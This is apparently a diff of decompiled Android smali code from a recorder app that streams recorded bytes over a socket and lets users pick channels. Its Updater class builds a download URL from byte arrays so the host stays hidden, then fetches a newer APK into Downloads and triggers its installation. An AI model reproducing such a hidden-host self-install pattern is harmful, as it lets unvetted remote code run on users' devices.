invoke-virtual {v8}, Lcom/nvav/srv/recorder/Comand;->ReadOut()[B
move-result-object v8
invoke-virtual {p0, v7, v8, v6}, Lcom/nvav/srv/recorder/InOut;->Write(Ljava/io/OutputStream;[BI)V
.line 159
invoke-virtual {v7}, Ljava/io/ByteArrayOutputStream;->size()I
move-result v8
const/high16 v9, 0x80000
if-le v8, v9, :cond_5
.line 161
:cond_6
invoke-virtual {v7}, Ljava/io/ByteArrayOutputStream;->size()I
move-result v8
if-lez v8, :cond_7
.line 162
invoke-virtual {v7}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
move-result-object v8
.line 166
iget-object v9, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v9}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
move-result-object v9
invoke-virtual {v9, v8}, Ljava/io/OutputStream;->write([B)V
.line 167
iget-object v8, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
invoke-virtual {v8}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
move-result-object v8
invoke-virtual {v8}, Ljava/io/OutputStream;->flush()V
.line 169
:cond_7
invoke-virtual {v7}, Ljava/io/ByteArrayOutputStream;->close()V
:try_end_3
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_2
goto/16 :goto_2
:catch_2
move-exception v7
.line 171
:goto_5
invoke-virtual {v7}, Ljava/lang/Exception;->printStackTrace()V
const/4 v7, 0x0
.line 172
iput-object v7, p0, Lcom/nvav/srv/recorder/InOut;->socket:Ljava/net/Socket;
goto/16 :goto_2
:cond_8
return-void
.end method

View File

@@ -0,0 +1,67 @@
.class Lcom/nvav/srv/recorder/MActivity$1;
.super Ljava/lang/Object;
.source "MActivity.java"
# interfaces
.implements Landroid/content/DialogInterface$OnClickListener;
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/MActivity;->ResetButton()V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
.locals 0
.line 163
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$1;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
# virtual methods
.method public onClick(Landroid/content/DialogInterface;I)V
.locals 1
.line 166
iget-object p2, p0, Lcom/nvav/srv/recorder/MActivity$1;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object p2, p2, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
invoke-static {p2}, Lcom/nvav/srv/recorder/ChenalC;->getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
move-result-object p2
const/4 v0, 0x0
invoke-static {v0}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
move-result-object v0
invoke-virtual {p2, v0}, Lcom/nvav/srv/recorder/ChenalC;->set(Ljava/lang/Byte;)V
.line 167
invoke-interface {p1}, Landroid/content/DialogInterface;->cancel()V
.line 168
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$1;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-virtual {p1}, Lcom/nvav/srv/recorder/MActivity;->finish()V
return-void
.end method

View File

@@ -0,0 +1,45 @@
.class Lcom/nvav/srv/recorder/MActivity$2;
.super Ljava/lang/Object;
.source "MActivity.java"
# interfaces
.implements Landroid/content/DialogInterface$OnClickListener;
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/MActivity;->ResetButton()V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
.locals 0
.line 172
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$2;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
# virtual methods
.method public onClick(Landroid/content/DialogInterface;I)V
.locals 0
.line 175
invoke-interface {p1}, Landroid/content/DialogInterface;->cancel()V
return-void
.end method

View File

@@ -0,0 +1,49 @@
.class Lcom/nvav/srv/recorder/MActivity$3;
.super Ljava/lang/Object;
.source "MActivity.java"
# interfaces
.implements Landroid/view/View$OnLongClickListener;
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/MActivity;->onCreate(Landroid/os/Bundle;)V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
.locals 0
.line 236
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$3;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
# virtual methods
.method public onLongClick(Landroid/view/View;)Z
.locals 0
.line 239
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$3;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-virtual {p1}, Lcom/nvav/srv/recorder/MActivity;->ResetButton()V
const/4 p1, 0x0
return p1
.end method

View File

@@ -0,0 +1,185 @@
.class Lcom/nvav/srv/recorder/MActivity$4;
.super Landroid/os/Handler;
.source "MActivity.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/MActivity;->onCreate(Landroid/os/Bundle;)V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
.field final synthetic val$L1:Landroid/widget/ImageView;
.field final synthetic val$L2:Landroid/widget/ImageView;
.field final synthetic val$L3:Landroid/widget/ImageView;
.field final synthetic val$L4:Landroid/widget/ImageView;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;)V
.locals 0
.line 260
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->this$0:Lcom/nvav/srv/recorder/MActivity;
iput-object p2, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
iput-object p3, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
iput-object p4, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
iput-object p5, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
invoke-direct {p0}, Landroid/os/Handler;-><init>()V
return-void
.end method
# virtual methods
.method public handleMessage(Landroid/os/Message;)V
.locals 3
.line 262
iget v0, p1, Landroid/os/Message;->what:I
const/16 v1, 0x64
if-ne v0, v1, :cond_4
.line 263
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
const v1, 0x7f010002
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageResource(I)V
.line 264
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageResource(I)V
.line 265
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageResource(I)V
.line 266
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageResource(I)V
.line 267
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
const v1, 0x3e99999a # 0.3f
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setAlpha(F)V
.line 268
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setAlpha(F)V
.line 269
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setAlpha(F)V
.line 270
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setAlpha(F)V
.line 271
invoke-virtual {p1}, Landroid/os/Message;->getData()Landroid/os/Bundle;
move-result-object p1
const-string v0, "status"
invoke-virtual {p1, v0}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
move-result p1
const/4 v0, 0x1
const/high16 v1, 0x3f800000 # 1.0f
const v2, 0x7f010003
if-eq p1, v0, :cond_3
const/4 v0, 0x2
if-eq p1, v0, :cond_2
const/4 v0, 0x3
if-eq p1, v0, :cond_1
const/4 v0, 0x4
if-eq p1, v0, :cond_0
goto :goto_0
.line 273
:cond_0
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setImageResource(I)V
.line 274
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setAlpha(F)V
.line 276
:cond_1
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setImageResource(I)V
.line 277
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setAlpha(F)V
.line 279
:cond_2
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setImageResource(I)V
.line 280
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setAlpha(F)V
.line 282
:cond_3
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setImageResource(I)V
.line 283
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setAlpha(F)V
:cond_4
:goto_0
return-void
.end method

View File

@@ -0,0 +1,155 @@
.class Lcom/nvav/srv/recorder/MActivity$5;
.super Ljava/lang/Object;
.source "MActivity.java"
# interfaces
.implements Landroid/content/DialogInterface$OnClickListener;
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/MActivity;->getCh()V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
.field final synthetic val$input:Landroid/widget/EditText;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;Landroid/widget/EditText;)V
.locals 0
.annotation system Ldalvik/annotation/Signature;
value = {
"()V"
}
.end annotation
.line 304
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
iput-object p2, p0, Lcom/nvav/srv/recorder/MActivity$5;->val$input:Landroid/widget/EditText;
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
# virtual methods
.method public onClick(Landroid/content/DialogInterface;I)V
.locals 3
.line 307
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->val$input:Landroid/widget/EditText;
invoke-virtual {p1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
move-result-object p1
invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
move-result-object p1
const/4 p2, 0x1
move v0, p2
.line 308
:goto_0
sget-object v1, Lcom/nvav/srv/recorder/MActivity;->key_ch:[Ljava/lang/String;
array-length v1, v1
if-ge v0, v1, :cond_1
invoke-virtual {p1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
move-result-object v1
sget-object v2, Lcom/nvav/srv/recorder/MActivity;->key_ch:[Ljava/lang/String;
aget-object v2, v2, v0
invoke-virtual {v2}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
move-result-object v2
invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
move-result v1
if-eqz v1, :cond_0
.line 309
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
sget-object v1, Lcom/nvav/srv/recorder/MActivity;->chenals:[I
aget v0, v1, v0
int-to-byte v0, v0
invoke-static {v0}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
.line 310
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
invoke-static {p1}, Lcom/nvav/srv/recorder/ChenalC;->getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
move-result-object p1
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/ChenalC;->set(Ljava/lang/Byte;)V
goto :goto_1
:cond_0
add-int/lit8 v0, v0, 0x1
goto :goto_0
.line 313
:cond_1
:goto_1
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
move-result p1
if-le p1, p2, :cond_2
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-static {p1}, Lcom/nvav/srv/recorder/MActivity;->access$000(Lcom/nvav/srv/recorder/MActivity;)V
goto :goto_2
.line 314
:cond_2
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-static {p1}, Lcom/nvav/srv/recorder/MActivity;->access$100(Lcom/nvav/srv/recorder/MActivity;)V
:goto_2
return-void
.end method

View File

@@ -0,0 +1,50 @@
.class Lcom/nvav/srv/recorder/MActivity$6;
.super Ljava/lang/Object;
.source "MActivity.java"
# interfaces
.implements Landroid/content/DialogInterface$OnClickListener;
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/MActivity;->getCh()V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
.locals 0
.line 318
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$6;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
# virtual methods
.method public onClick(Landroid/content/DialogInterface;I)V
.locals 0
.line 321
invoke-interface {p1}, Landroid/content/DialogInterface;->cancel()V
.line 322
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$6;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-virtual {p1}, Lcom/nvav/srv/recorder/MActivity;->finish()V
return-void
.end method

View File

@@ -0,0 +1,81 @@
.class Lcom/nvav/srv/recorder/MActivity$7;
.super Ljava/lang/Object;
.source "MActivity.java"
# interfaces
.implements Landroid/view/View$OnClickListener;
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/MActivity;->init()V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
.locals 0
.line 343
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
# virtual methods
.method public onClick(Landroid/view/View;)V
.locals 1
.line 346
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-boolean p1, p1, Lcom/nvav/srv/recorder/MActivity;->mRunning:Z
if-eqz p1, :cond_0
.line 347
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, p1, Lcom/nvav/srv/recorder/MActivity;->intent:Landroid/content/Intent;
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/MActivity;->stopService(Landroid/content/Intent;)Z
.line 348
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
const/4 v0, 0x0
iput-boolean v0, p1, Lcom/nvav/srv/recorder/MActivity;->mRunning:Z
goto :goto_0
.line 350
:cond_0
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, p1, Lcom/nvav/srv/recorder/MActivity;->intent:Landroid/content/Intent;
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/MActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
.line 351
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
const/4 v0, 0x1
iput-boolean v0, p1, Lcom/nvav/srv/recorder/MActivity;->mRunning:Z
:goto_0
return-void
.end method

View File

@@ -0,0 +1,58 @@
.class Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;
.super Landroid/os/ResultReceiver;
.source "MActivity.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/MActivity;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = "MyResultReceiver"
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
# direct methods
.method public constructor <init>(Lcom/nvav/srv/recorder/MActivity;Landroid/os/Handler;)V
.locals 0
.line 360
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;->this$0:Lcom/nvav/srv/recorder/MActivity;
.line 361
invoke-direct {p0, p2}, Landroid/os/ResultReceiver;-><init>(Landroid/os/Handler;)V
return-void
.end method
# virtual methods
.method protected onReceiveResult(ILandroid/os/Bundle;)V
.locals 1
.line 365
new-instance v0, Landroid/os/Message;
invoke-direct {v0}, Landroid/os/Message;-><init>()V
.line 366
invoke-virtual {v0, p2}, Landroid/os/Message;->setData(Landroid/os/Bundle;)V
.line 367
iput p1, v0, Landroid/os/Message;->what:I
.line 368
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity;->handler:Landroid/os/Handler;
invoke-virtual {p1, v0}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z
return-void
.end method

View File

@@ -0,0 +1,81 @@
.class Lcom/nvav/srv/recorder/MActivity$Updater$1;
.super Landroid/content/BroadcastReceiver;
.source "MActivity.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
value = Lcom/nvav/srv/recorder/MActivity$Updater;->run()V
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
.field final synthetic val$apkUri:Landroid/net/Uri;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity$Updater;Landroid/net/Uri;)V
.locals 0
.line 113
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
iput-object p2, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->val$apkUri:Landroid/net/Uri;
invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
return-void
.end method
# virtual methods
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
.locals 0
.line 116
new-instance p1, Landroid/content/Intent;
const-string p2, "android.intent.action.INSTALL_PACKAGE"
invoke-direct {p1, p2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
.line 117
iget-object p2, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->val$apkUri:Landroid/net/Uri;
invoke-virtual {p1, p2}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
const/4 p2, 0x1
.line 118
invoke-virtual {p1, p2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
.line 119
iget-object p2, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
iget-object p2, p2, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/MActivity;->startActivity(Landroid/content/Intent;)V
.line 120
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-virtual {p1, p0}, Lcom/nvav/srv/recorder/MActivity;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
.line 121
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-virtual {p1}, Lcom/nvav/srv/recorder/MActivity;->finish()V
return-void
.end method

View File

@@ -0,0 +1,549 @@
.class Lcom/nvav/srv/recorder/MActivity$Updater;
.super Ljava/lang/Thread;
.source "MActivity.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/MActivity;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = "Updater"
.end annotation
# instance fields
.field private lock:Ljava/lang/Object;
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
.field tv:Landroid/widget/TextView;
.field update:Z
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
.locals 0
.line 70
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
const/4 p1, 0x0
.line 72
iput-boolean p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->update:Z
.line 73
new-instance p1, Ljava/lang/Object;
invoke-direct {p1}, Ljava/lang/Object;-><init>()V
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
return-void
.end method
# virtual methods
.method public run()V
.locals 13
const-string v0, "file://"
.line 82
:try_start_0
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
monitor-enter v1
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
.line 83
:try_start_1
iget-object v2, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
const-wide/16 v3, 0x3e8
invoke-virtual {v2, v3, v4}, Ljava/lang/Object;->wait(J)V
.line 84
monitor-exit v1
:try_end_1
.catchall {:try_start_1 .. :try_end_1} :catchall_2
.line 85
:try_start_2
new-instance v1, Ljava/lang/String;
sget-object v2, Lcom/nvav/srv/recorder/MActivity;->ast:[B
invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
.line 86
iget-object v2, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-virtual {v2}, Lcom/nvav/srv/recorder/MActivity;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object v2
iget-object v5, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
invoke-virtual {v5}, Lcom/nvav/srv/recorder/MActivity;->getPackageName()Ljava/lang/String;
move-result-object v5
const/4 v6, 0x0
invoke-virtual {v2, v5, v6}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
move-result-object v2
.line 87
new-instance v5, Ljava/io/File;
iget-object v2, v2, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
invoke-direct {v5, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
.line 88
invoke-virtual {v5}, Ljava/io/File;->lastModified()J
move-result-wide v7
div-long/2addr v7, v3
.line 89
new-instance v2, Ljava/net/URL;
const-string v3, "%s%s"
const/4 v4, 0x2
new-array v5, v4, [Ljava/lang/Object;
aput-object v1, v5, v6
new-instance v9, Ljava/lang/String;
sget-object v10, Lcom/nvav/srv/recorder/MActivity;->ast1:[B
invoke-direct {v9, v10}, Ljava/lang/String;-><init>([B)V
const/4 v10, 0x1
aput-object v9, v5, v10
invoke-static {v3, v5}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object v3
invoke-direct {v2, v3}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
.line 90
invoke-virtual {v2}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
move-result-object v2
check-cast v2, Ljava/net/HttpURLConnection;
.line 91
new-instance v3, Ljava/io/BufferedInputStream;
invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
move-result-object v5
invoke-direct {v3, v5}, Ljava/io/BufferedInputStream;-><init>(Ljava/io/InputStream;)V
.line 92
new-instance v5, Ljava/io/BufferedReader;
new-instance v9, Ljava/io/InputStreamReader;
invoke-direct {v9, v3}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
invoke-direct {v5, v9}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
.line 93
invoke-virtual {v5}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
move-result-object v3
invoke-virtual {v3}, Ljava/lang/String;->trim()Ljava/lang/String;
move-result-object v3
invoke-static {v3}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
move-result-wide v11
.line 94
invoke-virtual {v2}, Ljava/net/HttpURLConnection;->disconnect()V
cmp-long v2, v11, v7
const-wide/16 v7, 0x7d0
const/16 v3, 0x50
if-gtz v2, :cond_1
.line 95
iget-boolean v2, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->update:Z
if-eqz v2, :cond_0
goto :goto_0
.line 133
:cond_0
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
const-string v1, "NO Update!"
invoke-virtual {v0, v1}, Landroid/widget/Toast;->setText(Ljava/lang/CharSequence;)V
.line 134
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
invoke-virtual {v0, v3, v6, v6}, Landroid/widget/Toast;->setGravity(III)V
.line 135
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->toast:Landroid/widget/Toast;
invoke-virtual {v0}, Landroid/widget/Toast;->show()V
.line 136
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
monitor-enter v0
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_0
.line 137
:try_start_3
iget-object v1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->lock:Ljava/lang/Object;
invoke-virtual {v1, v7, v8}, Ljava/lang/Object;->wait(J)V
.line 138
monitor-exit v0
goto/16 :goto_1
:catchall_0
move-exception v1
monitor-exit v0
:try_end_3
.catchall {:try_start_3 .. :try_end_3} :catchall_0
:try_start_4
throw v1
.line 96
:cond_1
:goto_0
const-string v2, "%s/"
new-array v5, v10, [Ljava/lang/Object;
sget-object v9, Landroid/os/Environment;->DIRECTORY_DOWNLOADS:Ljava/lang/String;
invoke-static {v9}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;
move-result-object v9
aput-object v9, v5, v6
